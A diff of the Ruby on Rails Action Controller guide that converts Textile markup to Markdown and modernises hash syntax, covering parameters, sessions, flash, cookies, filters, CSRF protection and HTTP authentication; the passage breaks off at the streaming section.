-NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
+NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
-h3. Methods and Actions
+Methods and Actions
+-------------------
-A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
-<ruby>
+```ruby
class ClientsController < ApplicationController
def new
end
end
-</ruby>
+```
-As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
-<ruby>
+```ruby
def new
@client = Client.new
end
-</ruby>
+```
-The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
+The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
-+ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
-h3. Parameters
+Parameters
+----------
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
-<ruby>
+```ruby
class ClientsController < ActionController::Base
# This action uses query string parameters because it gets run
# by an HTTP GET request, but this does not make any difference
@@ -77,99 +81,100 @@ class ClientsController < ActionController::Base
else
# This line overrides the default rendering behavior, which
# would have been to render the "create" view.
- render :action => "new"
+ render action: "new"
end
end
end
-</ruby>
+```
-h4. Hash and Array Parameters
+### Hash and Array Parameters
-The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
-<pre>
+```
GET /clients?ids[]=1&ids[]=2&ids[]=3
-</pre>
+```
NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
To send a hash you include the key name inside the brackets:
-<html>
+```html
<form accept-charset="UTF-8" action="/clients" method="post">
<input type="text" name="client[name]" value="Acme" />
<input type="text" name="client[phone]" value="12345" />
<input type="text" name="client[address][postcode]" value="12345" />
<input type="text" name="client[address][city]" value="Carrot City" />
</form>
-</html>
+```
-When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
+When this form is submitted, the value of `params[:client]` will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
-Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+Note that the `params` hash is actually an instance of `HashWithIndifferentAccess` from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
-h4. JSON/XML parameters
+### JSON/XML parameters
-If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data.
+If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into `params` hash, which you'll be able to access like you would normally do with form data.
So for example, if you are sending this JSON parameter:
-<pre>
+```json
{ "company": { "name": "acme", "address": "123 Carrot Street" } }
-</pre>
+```
-You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>.
+You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot Street" }`.
-Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
-<pre>
+```json
{ "name": "acme", "address": "123 Carrot Street" }
-</pre>
+```
-And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this:
+And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:
-<ruby>
+```ruby
{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
-</ruby>
+```
-You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
+You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
-h4. Routing Parameters
+### Routing Parameters
-The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
-<ruby>
-match '/clients/:status' => 'clients#index', :foo => "bar"
-</ruby>
+```ruby
+match '/clients/:status' => 'clients#index', foo: "bar"
+```
-In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
-h4. +default_url_options+
+### `default_url_options`
-You can set global default parameters for URL generation by defining a method called +default_url_options+ in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
def default_url_options
- {:locale => I18n.locale}
+ { locale: I18n.locale }
end
end
-</ruby>
+```
-These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in +url_for+ calls.
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in `url_for` calls.
-If you define +default_url_options+ in +ApplicationController+, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
-h3. Session
+Session
+-------
Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
* ActionDispatch::Session::CookieStore - Stores everything on the client.
-* ActiveRecord::SessionStore - Stores the data in a database using Active Record.
* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.
+* ActionDispatch::Session::ActiveRecordStore - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
@@ -180,36 +185,34 @@ The CookieStore can store around 4kB of data -- much less than the others -- but
If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
-Read more about session storage in the "Security Guide":security.html.
+Read more about session storage in the [Security Guide](security.html).
-If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
+If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:
-<ruby>
+```ruby
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
-# (create the session table with "script/rails g session_migration")
+# (create the session table with "script/rails g active_record:session_migration")
# YourApp::Application.config.session_store :active_record_store
-</ruby>
+```
-Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+```
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
-</ruby>
+You can also pass a `:domain` key and specify the domain name for the cookie:
-You can also pass a +:domain+ key and specify the domain name for the cookie:
-
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+```
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
-</ruby>
-
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
-<ruby>
+```ruby
# Be sure to restart your server when you modify this file.
# Your secret key for verifying the integrity of signed cookies.
@@ -217,19 +220,19 @@ Rails sets up (for the CookieStore) a secret key used for signing the session da
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
-</ruby>
+```
-NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
+NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
-h4. Accessing the Session
+### Accessing the Session
-In your controller you can access the session through the +session+ instance method.
+In your controller you can access the session through the `session` instance method.
NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
Session values are stored using key/value pairs like a hash:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
private
@@ -243,11 +246,11 @@ class ApplicationController < ActionController::Base
User.find_by_id(session[:current_user_id])
end
end
-</ruby>
+```
To store something in the session, just assign it to the key like a hash:
-<ruby>
+```ruby
class LoginsController < ApplicationController
# "Create" a login, aka "log the user in"
def create
@@ -259,11 +262,11 @@ class LoginsController < ApplicationController
end
end
end
-</ruby>
+```
-To remove something from the session, assign that key to be +nil+:
+To remove something from the session, assign that key to be `nil`:
-<ruby>
+```ruby
class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
@@ -272,53 +275,64 @@ class LoginsController < ApplicationController
redirect_to root_url
end
end
-</ruby>
+```
-To reset the entire session, use +reset_session+.
+To reset the entire session, use `reset_session`.
-h4. The Flash
+### The Flash
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
-<ruby>
+It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+
+Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+```ruby
class LoginsController < ApplicationController
def destroy
session[:current_user_id] = nil
- flash[:notice] = "You have successfully logged out"
+ flash[:notice] = "You have successfully logged out."
redirect_to root_url
end
end
-</ruby>
-
-Note it is also possible to assign a flash message as part of the redirection.
+```
-<ruby>
-redirect_to root_url, :notice => "You have successfully logged out"
-</ruby>
+Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+```ruby
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+```
-The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
-<ruby>
+```erb
<html>
<!-- <head/> -->
<body>
- <% if flash[:notice] %>
- <p class="notice"><%= flash[:notice] %></p>
- <% end %>
- <% if flash[:error] %>
- <p class="error"><%= flash[:error] %></p>
- <% end %>
+ <% flash.each do |name, msg| -%>
+ <%= content_tag :div, msg, class: name %>
+ <% end -%>
+
<!-- more content -->
</body>
</html>
-</ruby>
+```
+
+This way, if an action sets a notice or an alert message, the layout will display it automatically.
-This way, if an action sets an error or a notice message, the layout will display it automatically.
+You can pass anything that the session can store; you're not limited to notices and alerts:
+
+```erb
+<% if flash[:just_signed_up] %>
+ <p class="welcome">Welcome to our site!</p>
+<% end %>
+```
-If you want a flash value to be carried over to another request, use the +keep+ method:
+If you want a flash value to be carried over to another request, use the `keep` method:
-<ruby>
+```ruby
class MainController < ApplicationController
# Let's say this action corresponds to root_url, but you want
# all requests here to be redirected to UsersController#index.
@@ -334,13 +348,13 @@ class MainController < ApplicationController
redirect_to users_url
end
end
-</ruby>
+```
-h5. +flash.now+
+#### `flash.now`
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
-<ruby>
+```ruby
class ClientsController < ApplicationController
def create
@client = Client.new(params[:client])
@@ -348,21 +362,22 @@ class ClientsController < ApplicationController
# ...
else
flash.now[:error] = "Could not save client"
- render :action => "new"
+ render action: "new"
end
end
end
-</ruby>
+```
-h3. Cookies
+Cookies
+-------
-Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
+Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which -- much like the `session` -- works like a hash:
-<ruby>
+```ruby
class CommentsController < ApplicationController
def new
# Auto-fill the commenter's name if it has been stored in a cookie
- @comment = Comment.new(:name => cookies[:commenter_name])
+ @comment = Comment.new(name: cookies[:commenter_name])
end
def create
@@ -378,43 +393,44 @@ class CommentsController < ApplicationController
end
redirect_to @comment.article
else
- render :action => "new"
+ render action: "new"
end
end
end
-</ruby>
+```
-Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
+Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
-h3. Rendering xml and json data
+Rendering xml and json data
+---------------------------
-ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
+ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffold then your controller would look something like this.
-<ruby>
+```ruby
class UsersController < ApplicationController
def index
@users = User.all
respond_to do |format|
format.html # index.html.erb
- format.xml { render :xml => @users}
- format.json { render :json => @users}
+ format.xml { render xml: @users}
+ format.json { render json: @users}
end
end
end
-</ruby>
+```
-Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
+Notice that in the above case code is `render xml: @users` and not `render xml: @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` .
-
-h3. Filters
+Filters
+-------
Filters are methods that are run before, after or "around" a controller action.
-Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application.
+Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter :require_login
@@ -436,21 +452,21 @@ class ApplicationController < ActionController::Base
!!current_user
end
end
-</ruby>
+```
The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
-In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
+In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`:
-<ruby>
+```ruby
class LoginsController < ApplicationController
- skip_before_filter :require_login, :only => [:new, :create]
+ skip_before_filter :require_login, only: [:new, :create]
end
-</ruby>
+```
-Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-h4. After Filters and Around Filters
+### After Filters and Around Filters
In addition to before filters, you can also run filters after an action has been executed, or both before and after.
@@ -460,9 +476,9 @@ Around filters are responsible for running their associated actions by yielding,
For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
-<ruby>
+```ruby
class ChangesController < ActionController::Base
- around_filter :wrap_in_transaction, :only => :show
+ around_filter :wrap_in_transaction, only: :show
private
@@ -476,31 +492,31 @@ class ChangesController < ActionController::Base
end
end
end
-</ruby>
+```
Note that an around filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
You can choose not to yield and build the response yourself, in which case the action will not be run.
-h4. Other Ways to Use Filters
+### Other Ways to Use Filters
While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter do |controller|
redirect_to new_login_url unless controller.send(:logged_in?)
end
end
-</ruby>
+```
-Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
before_filter LoginFilter
end
@@ -513,11 +529,12 @@ class LoginFilter
end
end
end
-</ruby>
+```
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
-h3. Request Forgery Protection
+Request Forgery Protection
+--------------------------
Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
@@ -527,99 +544,103 @@ The way this is done is to add a non-guessable token which is only known to your
If you generate a form like this:
-<ruby>
+```erb
<%= form_for @user do |f| %>
<%= f.text_field :username %>
<%= f.text_field :password %>
<% end %>
-</ruby>
+```
You will see how the token gets added as a hidden field:
-<html>
+```html
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
value="67250ab105eb5ad10851c00a5621854a23af5489"
name="authenticity_token"/>
<!-- fields -->
</form>
-</html>
+```
-Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
+Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
-The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
-The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-h3. The Request and Response Objects
+The Request and Response Objects
+--------------------------------
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client.
-h4. The +request+ Object
+### The `request` Object
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are:
-|_.Property of +request+|_.Purpose|
-|host|The hostname used for this request.|
-|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
-|format|The content type requested by the client.|
-|method|The HTTP method used for the request.|
-|get?, post?, patch?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.|
-|headers|Returns a hash containing the headers associated with the request.|
-|port|The port number (integer) used for the request.|
-|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
-|query_string|The query string part of the URL, i.e., everything after "?".|
-|remote_ip|The IP address of the client.|
-|url|The entire URL used for the request.|
+| Property of `request` | Purpose |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| host | The hostname used for this request. |
+| domain(n=2) | The hostname's first `n` segments, starting from the right (the TLD). |
+| format | The content type requested by the client. |
+| method | The HTTP method used for the request. |
+| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD. |
+| headers | Returns a hash containing the headers associated with the request. |
+| port | The port number (integer) used for the request. |
+| protocol | Returns a string containing the protocol used plus "://", for example "http://". |
+| query_string | The query string part of the URL, i.e., everything after "?". |
+| remote_ip | The IP address of the client. |
+| url | The entire URL used for the request. |
-h5. +path_parameters+, +query_parameters+, and +request_parameters+
+#### `path_parameters`, `query_parameters`, and `request_parameters`
-Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-h4. The +response+ Object
+### The `response` Object
The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-|_.Property of +response+|_.Purpose|
-|body|This is the string of data being sent back to the client. This is most often HTML.|
-|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
-|location|The URL the client is being redirected to, if any.|
-|content_type|The content type of the response.|
-|charset|The character set being used for the response. Default is "utf-8".|
-|headers|Headers used for the response.|
+| Property of `response` | Purpose |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| body | This is the string of data being sent back to the client. This is most often HTML. |
+| status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| location | The URL the client is being redirected to, if any. |
+| content_type | The content type of the response. |
+| charset | The character set being used for the response. Default is "utf-8". |
+| headers | Headers used for the response. |
-h5. Setting Custom Headers
+#### Setting Custom Headers
-If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
-<ruby>
+```ruby
response.headers["Content-Type"] = "application/pdf"
-</ruby>
+```
-h3. HTTP Authentications
+HTTP Authentications
+--------------------
Rails comes with two built-in HTTP authentication mechanisms:
* Basic Authentication
* Digest Authentication
-h4. HTTP Basic Authentication
+### HTTP Basic Authentication
-HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
-<ruby>
+```ruby
class AdminController < ApplicationController
- http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
+ http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
end
-</ruby>
+```
-With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-h4. HTTP Digest Authentication
+### HTTP Digest Authentication
-HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
-<ruby>
+```ruby
class AdminController < ApplicationController
USERS = { "lifo" => "world" }
@@ -633,17 +654,18 @@ class AdminController < ApplicationController
end
end
end
-</ruby>
+```
-As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
+As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
-h3. Streaming and File Downloads
+Streaming and File Downloads
+----------------------------
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
